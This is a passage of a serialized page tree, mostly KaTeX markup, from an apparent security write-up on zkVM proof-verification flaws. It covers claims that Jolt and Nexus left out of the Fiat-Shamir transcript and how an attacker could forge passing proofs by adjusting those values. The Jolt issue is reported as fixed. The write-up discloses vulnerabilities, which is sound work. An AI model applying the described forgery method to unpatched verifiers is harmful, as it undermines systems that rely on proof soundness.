style":119803},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[119805,119809],{"type":22,"tag":101,"props":119806,"children":119808},{"className":119807,"style":8094},[8093],[],{"type":22,"tag":101,"props":119810,"children":119812},{"className":119811},[8099,8100,8101,8102],[119813],{"type":22,"tag":101,"props":119814,"children":119816},{"className":119815},[8053,8102],[119817],{"type":22,"tag":101,"props":119818,"children":119820},{"className":119819},[8053,27,8102],[119821],{"type":22,"tag":101,"props":119822,"children":119824},{"className":119823},[8053,8102],[119825],{"type":27,"value":119826},"final",{"type":22,"tag":101,"props":119828,"children":119830},{"className":119829},[25732],[119831],{"type":27,"value":25735},{"type":22,"tag":101,"props":119833,"children":119835},{"className":119834},[8079],[119836],{"type":22,"tag":101,"props":119837,"children":119839},{"className":119838,"style":96637},[8084],[119840],{"type":22,"tag":101,"props":119841,"children":119842},{},[],{"type":22,"tag":101,"props":119844,"children":119846},{"className":119845,"style":8231},[8133],[],{"type":22,"tag":101,"props":119848,"children":119850},{"className":119849},[8236],[119851],{"type":27,"value":1511},{"type":22,"tag":101,"props":119853,"children":119855},{"className":119854,"style":8231},[8133],[],{"type":22,"tag":101,"props":119857,"children":119859},{"className":119858},[8042],[119860,119864,119869,119873,119878],{"type":22,"tag":101,"props":119861,"children":119863},{"className":119862,"style":118637},[8047],[],{"type":22,"tag":101,"props":119865,"children":119867},{"className":119866},[8053,25575],[119868],{"type":27,"value":80},{"type":22,"tag":101,"props":119870,"children":119872},{"className":119871,"style":8134},[8133],[],{"type":22,"tag":101,"props":119874,"children":119876},{"className":119875},[8139],[119877],{"type":27,"value":114816},{"type":22,"tag":101,"props":119879,"children":119881},{"className":119880,"style":8134},[8133],[],{"type":22,"tag":101,"props":119883,"children":119885},{"className":119884},[8042],[119886,119890,119895,119899,119904],{"type":22,"tag":101,"props":119887,"children":119889},{"className":119888,"style":118666},[8047],[],{"type":22,"tag":101,"props":119891,"children":119893},{"className":119892,"style":96788},[8053,25575],[119894],{"type":27,"value":96791},{"type":22,"tag":101,"props":119896,"children":119898},{"className":119897,"style":8134},[8133],[],{"type":22,"tag":101,"props":119900,"children":119902},{"className":119901},[8139],[119903],{"type":27,"value":8426},{"type":22,"tag":101,"props":119905,"children":119907},{"className":119906,"style":8134},[8133],[],{"type":22,"tag":101,"props":119909,"children":119911},{"className":119910},[8042],[119912,119916],{"type":22,"tag":101,"props":119913,"children":119915},{"className":119914,"style":96469},[8047],[],{"type":22,"tag":101,"props":119917,"children":119919},{"className":119918},[8053,25575],[119920],{"type":27,"value":7262},{"type":22,"tag":23,"props":119922,"children":119923},{},[119924,119925,119964,119966,119991,119993,120123,120125,120246],{"type":27,"value":119390},{"type":22,"tag":30,"props":119926,"children":119928},{"className":119927},[8026,8027],[119929],{"type":22,"tag":101,"props":119930,"children":119932},{"className":119931},[8032],[119933],{"type":22,"tag":101,"props":119934,"children":119936},{"className":119935,"ariaHidden":5608},[8037],[119937],{"type":22,"tag":101,"props":119938,"children":119940},{"className":119939},[8042],[119941,119945,119950,119955,119959],{"type":22,"tag":101,"props":119942,"children":119944},{"className":119943,"style":118609},[8047],[],{"type":22,"tag":101,"props":119946,"children":119948},{"className":119947},[8053,25575],[119949],{"type":27,"value":80},{"type":22,"tag":101,"props":119951,"children":119953},{"className":119952},[8165],[119954],{"type":27,"value":8168},{"type":22,"tag":101,"props":119956,"children":119958},{"className":119957,"style":8172},[8133],[],{"type":22,"tag":101,"props":119960,"children":119962},{"className":119961},[8053,25575],[119963],{"type":27,"value":7262},{"type":27,"value":119965}," are determined by the transcript (independent of ",{"type":22,"tag":30,"props":119967,"children":119969},{"className":119968},[8026,8027],[119970],{"type":22,"tag":101,"props":119971,"children":119973},{"className":119972},[8032],[119974],{"type":22,"tag":101,"props":119975,"children":119977},{"className":119976,"ariaHidden":5608},[8037],[119978],{"type":22,"tag":101,"props":119979,"children":119981},{"className":119980},[8042],[119982,119986],{"type":22,"tag":101,"props":119983,"children":119985},{"className":119984,"style":25570},[8047],[],{"type":22,"tag":101,"props":119987,"children":119989},{"className":119988,"style":96788},[8053,25575],[119990],{"type":27,"value":96791},{"type":27,"value":119992},"). The verifier checks that ",{"type":22,"tag":30,"props":119994,"children":119996},{"className":119995},[8026,8027],[119997],{"type":22,"tag":101,"props":119998,"children":120000},{"className":119999},[8032],[120001],{"type":22,"tag":101,"props":120002,"children":120004},{"className":120003,"ariaHidden":5608},[8037],[120005,120091],{"type":22,"tag":101,"props":120006,"children":120008},{"className":120007},[8042],[120009,120013,120078,120082,120087],{"type":22,"tag":101,"props":120010,"children":120012},{"className":120011,"style":114551},[8047],[],{"type":22,"tag":101,"props":120014,"children":120016},{"className":120015},[8053],[120017,120022],{"type":22,"tag":101,"props":120018,"children":120020},{"className":120019,"style":26107},[8053,25575],[120021],{"type":27,"value":119783},{"type":22,"tag":101,"props":120023,"children":120025},{"className":120024},[8069],[120026],{"type":22,"tag":101,"props":120027,"children":120029},{"className":120028},[8074,25629],[120030,120067],{"type":22,"tag":101,"props":120031,"children":120033},{"className":120032},[8079],[120034,120062],{"type":22,"tag":101,"props":120035,"children":120037},{"className":120036,"style":119799},[8084],[120038],{"type":22,"tag":101,"props":120039,"children":120040},{"style":119803},[120041,120045],{"type":22,"tag":101,"props":120042,"children":120044},{"className":120043,"style":8094},[8093],[],{"type":22,"tag":101,"props":120046,"children":120048},{"className":120047},[8099,8100,8101,8102],[120049],{"type":22,"tag":101,"props":120050,"children":120052},{"className":120051},[8053,8102],[120053],{"type":22,"tag":101,"props":120054,"children":120056},{"className":120055},[8053,27,8102],[120057],{"type":22,"tag":101,"props":120058,"children":120060},{"className":120059},[8053,8102],[120061],{"type":27,"value":119826},{"type":22,"tag":101,"props":120063,"children":120065},{"className":120064},[25732],[120066],{"type":27,"value":25735},{"type":22,"tag":101,"props":120068,"children":120070},{"className":120069},[8079],[120071],{"type":22,"tag":101,"props":120072,"children":120074},{"className":120073,"style":96637},[8084],[120075],{"type":22,"tag":101,"props":120076,"children":120077},{},[],{"type":22,"tag":101,"props":120079,"children":120081},{"className":120080,"style":8231},[8133],[],{"type":22,"tag":101,"props":120083,"children":120085},{"className":120084},[8236],[120086],{"type":27,"value":1511},{"type":22,"tag":101,"props":120088,"children":120090},{"className":120089,"style":8231},[8133],[],{"type":22,"tag":101,"props":120092,"children":120094},{"className":120093},[8042],[120095,120099,120109,120114],{"type":22,"tag":101,"props":120096,"children":120098},{"className":120097,"style":97967},[8047],[],{"type":22,"tag":101,"props":120100,"children":120102},{"className":120101},[8053,27],[120103],{"type":22,"tag":101,"props":120104,"children":120106},{"className":120105},[8053],[120107],{"type":27,"value":120108},"expected",{"type":22,"tag":101,"props":120110,"children":120112},{"className":120111,"style":96554},[8053],[120113],{"type":27,"value":6382},{"type":22,"tag":101,"props":120115,"children":120117},{"className":120116},[8053,27],[120118],{"type":22,"tag":101,"props":120119,"children":120121},{"className":120120},[8053],[120122],{"type":27,"value":41544},{"type":27,"value":120124}," (from PCS opening), this becomes ",{"type":22,"tag":30,"props":120126,"children":120128},{"className":120127},[8026,8027],[120129],{"type":22,"tag":101,"props":120130,"children":120132},{"className":120131},[8032],[120133],{"type":22,"tag":101,"props":120134,"children":120136},{"className":120135,"ariaHidden":5608},[8037],[120137,120163,120189,120215],{"type":22,"tag":101,"props":120138,"children":120140},{"className":120139},[8042],[120141,120145,120150,120154,120159],{"type":22,"tag":101,"props":120142,"children":120144},{"className":120143,"style":118637},[8047],[],{"type":22,"tag":101,"props":120146,"children":120148},{"className":120147},[8053,25575],[120149],{"type":27,"value":80},{"type":22,"tag":101,"props":120151,"children":120153},{"className":120152,"style":8134},[8133],[],{"type":22,"tag":101,"props":120155,"children":120157},{"className":120156},[8139],[120158],{"type":27,"value":114816},{"type":22,"tag":101,"props":120160,"children":120162},{"className":120161,"style":8134},[8133],[],{"type":22,"tag":101,"props":120164,"children":120166},{"className":120165},[8042],[120167,120171,120176,120180,120185],{"type":22,"tag":101,"props":120168,"children":120170},{"className":120169,"style":118666},[8047],[],{"type":22,"tag":101,"props":120172,"children":120174},{"className":120173,"style":96788},[8053,25575],[120175],{"type":27,"value":96791},{"type":22,"tag":101,"props":120177,"children":120179},{"className":120178,"style":8134},[8133],[],{"type":22,"tag":101,"props":120181,"children":120183},{"className":120182},[8139],[120184],{"type":27,"value":8426},{"type":22,"tag":101,"props":120186,"children":120188},{"className":120187,"style":8134},[8133],[],{"type":22,"tag":101,"props":120190,"children":120192},{"className":120191},[8042],[120193,120197,120202,120206,120211],{"type":22,"tag":101,"props":120194,"children":120196},{"className":120195,"style":96469},[8047],[],{"type":22,"tag":101,"props":120198,"children":120200},{"className":120199},[8053,25575],[120201],{"type":27,"value":7262},{"type":22,"tag":101,"props":120203,"children":120205},{"className":120204,"style":8231},[8133],[],{"type":22,"tag":101,"props":120207,"children":120209},{"className":120208},[8236],[120210],{"type":27,"value":1511},{"type":22,"tag":101,"props":120212,"children":120214},{"className":120213,"style":8231},[8133],[],{"type":22,"tag":101,"props":120216,"children":120218},{"className":120217},[8042],[120219,120223,120232,120237],{"type":22,"tag":101,"props":120220,"children":120222},{"className":120221,"style":97967},[8047],[],{"type":22,"tag":101,"props":120224,"children":120226},{"className":120225},[8053,27],[120227],{"type":22,"tag":101,"props":120228,"children":120230},{"className":120229},[8053],[120231],{"type":27,"value":120108},{"type":22,"tag":101,"props":120233,"children":120235},{"className":120234,"style":96554},[8053],[120236],{"type":27,"value":6382},{"type":22,"tag":101,"props":120238,"children":120240},{"className":120239},[8053,27],[120241],{"type":22,"tag":101,"props":120242,"children":120244},{"className":120243},[8053],[120245],{"type":27,"value":41544},{"type":27,"value":231},{"type":22,"tag":23,"props":120248,"children":120249},{},[120250],{"type":27,"value":120251},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":22,"tag":23,"props":120253,"children":120254},{},[120255],{"type":27,"value":120256},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":22,"tag":23,"props":120258,"children":120259},{},[120260,120265,120267],{"type":22,"tag":9370,"props":120261,"children":120262},{},[120263],{"type":27,"value":120264},"Status:",{"type":27,"value":120266}," Fixed on October 3, 2025 via ",{"type":22,"tag":80,"props":120268,"children":120271},{"href":120269,"rel":120270},"https://github.com/a16z/jolt/pull/981",[84],[120272],{"type":27,"value":120273},"PR #981",{"type":22,"tag":1398,"props":120275,"children":120276},{},[],{"type":22,"tag":1760,"props":120278,"children":120280},{"id":120279},"nexus",[120281],{"type":27,"value":111373},{"type":22,"tag":23,"props":120283,"children":120284},{},[120285],{"type":27,"value":120286},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":22,"tag":23,"props":120288,"children":120289},{},[120290,120292,120297],{"type":27,"value":120291},"Nexus splits verification into ",{"type":22,"tag":9370,"props":120293,"children":120294},{},[120295],{"type":27,"value":120296},"components",{"type":27,"value":120298}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":22,"tag":23,"props":120300,"children":120301},{},[120302,120304,120309],{"type":27,"value":120303},"Each component emits and consumes lookup tuples. The component's ",{"type":22,"tag":30,"props":120305,"children":120307},{"className":120306},[],[120308],{"type":27,"value":118418},{"type":27,"value":120310}," summarizes its net contribution:",{"type":22,"tag":23,"props":120312,"children":120313},{},[120314],{"type":22,"tag":30,"props":120315,"children":120317},{"className":120316},[8026,8027],[120318],{"type":22,"tag":101,"props":120319,"children":120321},{"className":120320},[8032],[120322],{"type":22,"tag":101,"props":120323,"children":120325},{"className":120324,"ariaHidden":5608},[8037],[120326,120422,120671],{"type":22,"tag":101,"props":120327,"children":120329},{"className":120328},[8042],[120330,120334,120343,120348,120409,120413,120418],{"type":22,"tag":101,"props":120331,"children":120333},{"className":120332,"style":97967},[8047],[],{"type":22,"tag":101,"props":120335,"children":120337},{"className":120336},[8053,27],[120338],{"type":22,"tag":101,"props":120339,"children":120341},{"className":120340},[8053],[120342],{"type":27,"value":117647},{"type":22,"tag":101,"props":120344,"children":120346},{"className":120345,"style":96554},[8053],[120347],{"type":27,"value":6382},{"type":22,"tag":101,"props":120349,"children":120351},{"className":120350},[8053],[120352,120361],{"type":22,"tag":101,"props":120353,"children":120355},{"className":120354},[8053,27],[120356],{"type":22,"tag":101,"props":120357,"children":120359},{"className":120358},[8053],[120360],{"type":27,"value":80139},{"type":22,"tag":101,"props":120362,"children":120364},{"className":120363},[8069],[120365],{"type":22,"tag":101,"props":120366,"children":120368},{"className":120367},[8074,25629],[120369,120398],{"type":22,"tag":101,"props":120370,"children":120372},{"className":120371},[8079],[120373,120393],{"type":22,"tag":101,"props":120374,"children":120376},{"className":120375,"style":97083},[8084],[120377],{"type":22,"tag":101,"props":120378,"children":120379},{"style":117684},[120380,120384],{"type":22,"tag":101,"props":120381,"children":120383},{"className":120382,"style":8094},[8093],[],{"type":22,"tag":101,"props":120385,"children":120387},{"className":120386},[8099,8100,8101,8102],[120388],{"type":22,"tag":101,"props":120389,"children":120391},{"className":120390},[8053,25575,8102],[120392],{"type":27,"value":7774},{"type":22,"tag":101,"props":120394,"children":120396},{"className":120395},[25732],[120397],{"type":27,"value":25735},{"type":22,"tag":101,"props":120399,"children":120401},{"className":120400},[8079],[120402],{"type":22,"tag":101,"props":120403,"children":120405},{"className":120404,"style":96637},[8084],[120406],{"type":22,"tag":101,"props":120407,"children":120408},{},[],{"type":22,"tag":101,"props":120410,"children":120412},{"className":120411,"style":8231},[8133],[],{"type":22,"tag":101,"props":120414,"children":120416},{"className":120415},[8236],[120417],{"type":27,"value":1511},{"type":22,"tag":101,"props":120419,"children":120421},{"className":120420,"style":8231},[8133],[],{"type":22,"tag":101,"props":120423,"children":120425},{"className":120424},[8042],[120426,120431,120488,120492,120658,120662,120667],{"type":22,"tag":101,"props":120427,"children":120430},{"className":120428,"style":120429},[8047],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":22,"tag":101,"props":120432,"children":120434},{"className":120433},[25611],[120435,120440],{"type":22,"tag":101,"props":120436,"children":120438},{"className":120437,"style":25618},[25611,25616,25617],[120439],{"type":27,"value":112349},{"type":22,"tag":101,"props":120441,"children":120443},{"className":120442},[8069],[120444],{"type":22,"tag":101,"props":120445,"children":120447},{"className":120446},[8074,25629],[120448,120477],{"type":22,"tag":101,"props":120449,"children":120451},{"className":120450},[8079],[120452,120472],{"type":22,"tag":101,"props":120453,"children":120455},{"className":120454,"style":117761},[8084],[120456],{"type":22,"tag":101,"props":120457,"children":120458},{"style":25642},[120459,120463],{"type":22,"tag":101,"props":120460,"children":120462},{"className":120461,"style":8094},[8093],[],{"type":22,"tag":101,"props":120464,"children":120466},{"className":120465},[8099,8100,8101,8102],[120467],{"type":22,"tag":101,"props":120468,"children":120470},{"className":120469,"style":117777},[8053,25575,8102],[120471],{"type":27,"value":12663},{"type":22,"tag":101,"props":120473,"children":120475},{"className":120474},[25732],[120476],{"type":27,"value":25735},{"type":22,"tag":101,"props":120478,"children":120480},{"className":120479},[8079],[120481],{"type":22,"tag":101,"props":120482,"children":120484},{"className":120483,"style":117792},[8084],[120485],{"type":22,"tag":101,"props":120486,"children":120487},{},[],{"type":22,"tag":101,"props":120489,"children":120491},{"className":120490,"style":8172},[8133],[],{"type":22,"tag":101,"props":120493,"children":120495},{"className":120494},[8053],[120496,120500,120654],{"type":22,"tag":101,"props":120497,"children":120499},{"className":120498},[25704,117072],[],{"type":22,"tag":101,"props":120501,"children":120503},{"className":120502},[117077],[120504],{"type":22,"tag":101,"props":120505,"children":120507},{"className":120506},[8074,25629],[120508,120642],{"type":22,"tag":101,"props":120509,"children":120511},{"className":120510},[8079],[120512,120637],{"type":22,"tag":101,"props":120513,"children":120515},{"className":120514,"style":117090},[8084],[120516,120606,120617],{"type":22,"tag":101,"props":120517,"children":120518},{"style":117094},[120519,120523],{"type":22,"tag":101,"props":120520,"children":120522},{"className":120521,"style":115725},[8093],[],{"type":22,"tag":101,"props":120524,"children":120526},{"className":120525},[8099,8100,8101,8102],[120527],{"type":22,"tag":101,"props":120528,"children":120530},{"className":120529},[8053,8102],[120531,120536,120541],{"type":22,"tag":101,"props":120532,"children":120534},{"className":120533,"style":117111},[8053,25575,8102],[120535],{"type":27,"value":117114},{"type":22,"tag":101,"props":120537,"children":120539},{"className":120538},[8139,8102],[120540],{"type":27,"value":8113},{"type":22,"tag":101,"props":120542,"children":120544},{"className":120543},[8053,8102],[120545,120555],{"type":22,"tag":101,"props":120546,"children":120548},{"className":120547},[8053,27,8102],[120549],{"type":22,"tag":101,"props":120550,"children":120552},{"className":120551},[8053,8102],[120553],{"type":27,"value":120554},"produced",{"type":22,"tag":101,"props":120556,"children":120558},{"className":120557},[8069],[120559],{"type":22,"tag":101,"props":120560,"children":120562},{"className":120561},[8074,25629],[120563,120594],{"type":22,"tag":101,"props":120564,"children":120566},{"className":120565},[8079],[120567,120589],{"type":22,"tag":101,"props":120568,"children":120571},{"className":120569,"style":120570},[8084],"height:0.2052em;",[120572],{"type":22,"tag":101,"props":120573,"children":120575},{"style":120574},"top:-2.2341em;margin-right:0.0714em;",[120576,120580],{"type":22,"tag":101,"props":120577,"children":120579},{"className":120578,"style":112414},[8093],[],{"type":22,"tag":101,"props":120581,"children":120583},{"className":120582},[8099,112419,112420,8102],[120584],{"type":22,"tag":101,"props":120585,"children":120587},{"className":120586,"style":117777},[8053,25575,8102],[120588],{"type":27,"value":12663},{"type":22,"tag":101,"props":120590,"children":120592},{"className":120591},[25732],[120593],{"type":27,"value":25735},{"type":22,"tag":101,"props":120595,"children":120597},{"className":120596},[8079],[120598],{"type":22,"tag":101,"props":120599,"children":120602},{"className":120600,"style":120601},[8084],"height:0.4048em;",[120603],{"type":22,"tag":101,"props":120604,"children":120605},{},[],{"type":22,"tag":101,"props":120607,"children":120608},{"style":117127},[120609,120613],{"type":22,"tag":101,"props":120610,"children":120612},{"className":120611,"style":115725},[8093],[],{"type":22,"tag":101,"props":120614,"children":120616},{"className":120615,"style":117137},[117136],[],{"type":22,"tag":101,"props":120618,"children":120619},{"style":117141},[120620,120624],{"type":22,"tag":101,"props":120621,"children":120623},{"className":120622,"style":115725},[8093],[],{"type":22,"tag":101,"props":120625,"children":120627},{"className":120626},[8099,8100,8101,8102],[120628],{"type":22,"tag":101,"props":120629,"children":120631},{"className":120630},[8053,8102],[120632],{"type":22,"tag":101,"props":120633,"children":120635},{"className":120634},[8053,8102],[120636],{"type":27,"value":6813},{"type":22,"tag":101,"props":120638,"children":120640},{"className":120639},[25732],[120641],{"type":27,"value":25735},{"type":22,"tag":101,"props":120643,"children":120645},{"className":120644},[8079],[120646],{"type":22,"tag":101,"props":120647,"children":120650},{"className":120648,"style":120649},[8084],"height:0.6283em;",[120651],{"type":22,"tag":101,"props":120652,"children":120653},{},[],{"type":22,"tag":101,"props":120655,"children":120657},{"className":120656},[25726,117072],[],{"type":22,"tag":101,"props":120659,"children":120661},{"className":120660,"style":8134},[8133],[],{"type":22,"tag":101,"props":120663,"children":120665},{"className":120664},[8139],[120666],{"type":27,"value":8113},{"type":22,"tag":101,"props":120668,"children":120670},{"className":120669,"style":8134},[8133],[],{"type":22,"tag":101,"props":120672,"children":120674},{"className":120673},[8042],[120675,120679,120736,120740],{"type":22,"tag":101,"props":120676,"children":120678},{"className":120677,"style":117986},[8047],[],{"type":22,"tag":101,"props":120680,"children":120682},{"className":120681},[25611],[120683,120688],{"type":22,"tag":101,"props":120684,"children":120686},{"className":120685,"style":25618},[25611,25616,25617],[120687],{"type":27,"value":112349},{"type":22,"tag":101,"props":120689,"children":120691},{"className":120690},[8069],[120692],{"type":22,"tag":101,"props":120693,"children":120695},{"className":120694},[8074,25629],[120696,120725],{"type":22,"tag":101,"props":120697,"children":120699},{"className":120698},[8079],[120700,120720],{"type":22,"tag":101,"props":120701,"children":120703},{"className":120702,"style":117226},[8084],[120704],{"type":22,"tag":101,"props":120705,"children":120706},{"style":25642},[120707,120711],{"type":22,"tag":101,"props":120708,"children":120710},{"className":120709,"style":8094},[8093],[],{"type":22,"tag":101,"props":120712,"children":120714},{"className":120713},[8099,8100,8101,8102],[120715],{"type":22,"tag":101,"props":120716,"children":120718},{"className":120717,"style":97983},[8053,25575,8102],[120719],{"type":27,"value":92191},{"type":22,"tag":101,"props":120721,"children":120723},{"className":120722},[25732],[120724],{"type":27,"value":25735},{"type":22,"tag":101,"props":120726,"children":120728},{"className":120727},[8079],[120729],{"type":22,"tag":101,"props":120730,"children":120732},{"className":120731,"style":118041},[8084],[120733],{"type":22,"tag":101,"props":120734,"children":120735},{},[],{"type":22,"tag":101,"props":120737,"children":120739},{"className":120738,"style":8172},[8133],[],{"type":22,"tag":101,"props":120741,"children":120743},{"className":120742},[8053],[120744,120748,120898],{"type":22,"tag":101,"props":120745,"children":120747},{"className":120746},[25704,117072],[],{"type":22,"tag":101,"props":120749,"children":120751},{"className":120750},[117077],[120752],{"type":22,"tag":101,"props":120753,"children":120755},{"className":120754},[8074,25629],[120756,120887],{"type":22,"tag":101,"props":120757,"children":120759},{"className":120758},[8079],[120760,120882],{"type":22,"tag":101,"props":120761,"children":120763},{"className":120762,"style":117090},[8084],[120764,120851,120862],{"type":22,"tag":101,"props":120765,"children":120766},{"style":117094},[120767,120771],{"type":22,"tag":101,"props":120768,"children":120770},{"className":120769,"style":115725},[8093],[],{"type":22,"tag":101,"props":120772,"children":120774},{"className":120773},[8099,8100,8101,8102],[120775],{"type":22,"tag":101,"props":120776,"children":120778},{"className":120777},[8053,8102],[120779,120784,120789],{"type":22,"tag":101,"props":120780,"children":120782},{"className":120781,"style":117111},[8053,25575,8102],[120783],{"type":27,"value":117114},{"type":22,"tag":101,"props":120785,"children":120787},{"className":120786},[8139,8102],[120788],{"type":27,"value":8113},{"type":22,"tag":101,"props":120790,"children":120792},{"className":120791},[8053,8102],[120793,120803],{"type":22,"tag":101,"props":120794,"children":120796},{"className":120795},[8053,27,8102],[120797],{"type":22,"tag":101,"props":120798,"children":120800},{"className":120799},[8053,8102],[120801],{"type":27,"value":120802},"consumed",{"type":22,"tag":101,"props":120804,"children":120806},{"className":120805},[8069],[120807],{"type":22,"tag":101,"props":120808,"children":120810},{"className":120809},[8074,25629],[120811,120840],{"type":22,"tag":101,"props":120812,"children":120814},{"className":120813},[8079],[120815,120835],{"type":22,"tag":101,"props":120816,"children":120818},{"className":120817,"style":115886},[8084],[120819],{"type":22,"tag":101,"props":120820,"children":120821},{"style":118131},[120822,120826],{"type":22,"tag":101,"props":120823,"children":120825},{"className":120824,"style":112414},[8093],[],{"type":22,"tag":101,"props":120827,"children":120829},{"className":120828},[8099,112419,112420,8102],[120830],{"type":22,"tag":101,"props":120831,"children":120833},{"className":120832,"style":97983},[8053,25575,8102],[120834],{"type":27,"value":92191},{"type":22,"tag":101,"props":120836,"children":120838},{"className":120837},[25732],[120839],{"type":27,"value":25735},{"type":22,"tag":101,"props":120841,"children":120843},{"className":120842},[8079],[120844],{"type":22,"tag":101,"props":120845,"children":120847},{"className":120846,"style":118158},[8084],[120848],{"type":22,"tag":101,"props":120849,"children":120850},{},[],{"type":22,"tag":101,"props":120852,"children":120853},{"style":117127},[120854,120858],{"type":22,"tag":101,"props":120855,"children":120857},{"className":120856,"style":115725},[8093],[],{"type":22,"tag":101,"props":120859,"children":120861},{"className":120860,"style":117137},[117136],[],{"type":22,"tag":101,"props":120863,"children":120864},{"style":117141},[120865,120869],{"type":22,"tag":101,"props":120866,"children":120868},{"className":120867,"style":115725},[8093],[],{"type":22,"tag":101,"props":120870,"children":120872},{"className":120871},[8099,8100,8101,8102],[120873],{"type":22,"tag":101,"props":120874,"children":120876},{"className":120875},[8053,8102],[120877],{"type":22,"tag":101,"props":120878,"children":120880},{"className":120879},[8053,8102],[120881],{"type":27,"value":6813},{"type":22,"tag":101,"props":120883,"children":120885},{"className":120884},[25732],[120886],{"type":27,"value":25735},{"type":22,"tag":101,"props":120888,"children":120890},{"className":120889},[8079],[120891],{"type":22,"tag":101,"props":120892,"children":120894},{"className":120893,"style":118206},[8084],[120895],{"type":22,"tag":101,"props":120896,"children":120897},{},[],{"type":22,"tag":101,"props":120899,"children":120901},{"className":120900},[25726,117072],[],{"type":22,"tag":23,"props":120903,"children":120904},{},[120905,120907,120912],{"type":27,"value":120906},"All ",{"type":22,"tag":30,"props":120908,"children":120910},{"className":120909},[],[120911],{"type":27,"value":118418},{"type":27,"value":120913}," values must sum to zero (everything produced is consumed).",{"type":22,"tag":23,"props":120915,"children":120916},{},[120917,120919,120924],{"type":27,"value":120918},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":22,"tag":9370,"props":120920,"children":120921},{},[120922],{"type":27,"value":120923},"OODS (Out-of-Domain Sampling)",{"type":27,"value":120925}," test.",{"type":22,"tag":23,"props":120927,"children":120928},{},[120929],{"type":22,"tag":9370,"props":120930,"children":120931},{},[120932],{"type":27,"value":118970},{"type":22,"tag":91,"props":120934,"children":120936},{"code":120935},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[120937],{"type":22,"tag":30,"props":120938,"children":120939},{"__ignoreMap":7},[120940],{"type":27,"value":120935},{"type":22,"tag":23,"props":120942,"children":120943},{},[120944,120946,120951],{"type":27,"value":120945},"The",{"type":22,"tag":30,"props":120947,"children":120949},{"className":120948},[],[120950],{"type":27,"value":118418},{"type":27,"value":120952}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":22,"tag":23,"props":120954,"children":120955},{},[120956],{"type":22,"tag":7959,"props":120957,"children":120960},{"alt":120958,"src":120959},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":22,"tag":23,"props":120962,"children":120963},{},[120964,120966,120975],{"type":27,"value":120965},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":22,"tag":9370,"props":120967,"children":120968},{},[120969,120970],{"type":27,"value":115425},{"type":22,"tag":30,"props":120971,"children":120973},{"className":120972},[],[120974],{"type":27,"value":118418},{"type":27,"value":169},{"type":22,"tag":23,"props":120977,"children":120978},{},[120979],{"type":27,"value":120980},"The composition polynomial is a random linear combination of constraints:",{"type":22,"tag":23,"props":120982,"children":120983},{},[120984],{"type":22,"tag":30,"props":120985,"children":120987},{"className":120986},[8026,8027],[120988],{"type":22,"tag":101,"props":120989,"children":120991},{"className":120990},[8032],[120992],{"type":22,"tag":101,"props":120993,"children":120995},{"className":120994,"ariaHidden":5608},[8037],[120996,121037,121176],{"type":22,"tag":101,"props":120997,"children":120999},{"className":120998},[8042],[121000,121004,121009,121014,121019,121024,121028,121033],{"type":22,"tag":101,"props":121001,"children":121003},{"className":121002,"style":8154},[8047],[],{"type":22,"tag":101,"props":121005,"children":121007},{"className":121006,"style":26107},[8053,25575],[121008],{"type":27,"value":119783},{"type":22,"tag":101,"props":121010,"children":121012},{"className":121011},[25704],[121013],{"type":27,"value":980},{"type":22,"tag":101,"props":121015,"children":121017},{"className":121016},[8053,25575],[121018],{"type":27,"value":23266},{"type":22,"tag":101,"props":121020,"children":121022},{"className":121021},[25726],[121023],{"type":27,"value":2261},{"type":22,"tag":101,"props":121025,"children":121027},{"className":121026,"style":8231},[8133],[],{"type":22,"tag":101,"props":121029,"children":121031},{"className":121030},[8236],[121032],{"type":27,"value":1511},{"type":22,"tag":101,"props":121034,"children":121036},{"className":121035,"style":8231},[8133],[],{"type":22,"tag":101,"props":121038,"children":121040},{"className":121039},[8042],[121041,121045,121102,121106,121163,121167,121172],{"type":22,"tag":101,"props":121042,"children":121044},{"className":121043,"style":119187},[8047],[],{"type":22,"tag":101,"props":121046,"children":121048},{"className":121047},[25611],[121049,121054],{"type":22,"tag":101,"props":121050,"children":121052},{"className":121051,"style":25618},[25611,25616,25617],[121053],{"type":27,"value":112349},{"type":22,"tag":101,"props":121055,"children":121057},{"className":121056},[8069],[121058],{"type":22,"tag":101,"props":121059,"children":121061},{"className":121060},[8074,25629],[121062,121091],{"type":22,"tag":101,"props":121063,"children":121065},{"className":121064},[8079],[121066,121086],{"type":22,"tag":101,"props":121067,"children":121069},{"className":121068,"style":117761},[8084],[121070],{"type":22,"tag":101,"props":121071,"children":121072},{"style":25642},[121073,121077],{"type":22,"tag":101,"props":121074,"children":121076},{"className":121075,"style":8094},[8093],[],{"type":22,"tag":101,"props":121078,"children":121080},{"className":121079},[8099,8100,8101,8102],[121081],{"type":22,"tag":101,"props":121082,"children":121084},{"className":121083},[8053,25575,8102],[121085],{"type":27,"value":7774},{"type":22,"tag":101,"props":121087,"children":121089},{"className":121088},[25732],[121090],{"type":27,"value":25735},{"type":22,"tag":101,"props":121092,"children":121094},{"className":121093},[8079],[121095],{"type":22,"tag":101,"props":121096,"children":121098},{"className":121097,"style":118041},[8084],[121099],{"type":22,"tag":101,"props":121100,"children":121101},{},[],{"type":22,"tag":101,"props":121103,"children":121105},{"className":121104,"style":8172},[8133],[],{"type":22,"tag":101,"props":121107,"children":121109},{"className":121108},[8053],[121110,121115],{"type":22,"tag":101,"props":121111,"children":121113},{"className":121112,"style":118642},[8053,25575],[121114],{"type":27,"value":118645},{"type":22,"tag":101,"props":121116,"children":121118},{"className":121117},[8069],[121119],{"type":22,"tag":101,"props":121120,"children":121122},{"className":121121},[8074,25629],[121123,121152],{"type":22,"tag":101,"props":121124,"children":121126},{"className":121125},[8079],[121127,121147],{"type":22,"tag":101,"props":12112